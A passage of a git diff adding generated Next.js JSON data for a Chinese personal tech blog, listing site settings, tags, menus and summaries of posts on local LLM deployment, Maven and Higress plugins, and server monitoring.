7ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":16,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""}],"page":"1","category":"技术分享"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.json" new file mode 100644 index 000000000..c77e18253 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prom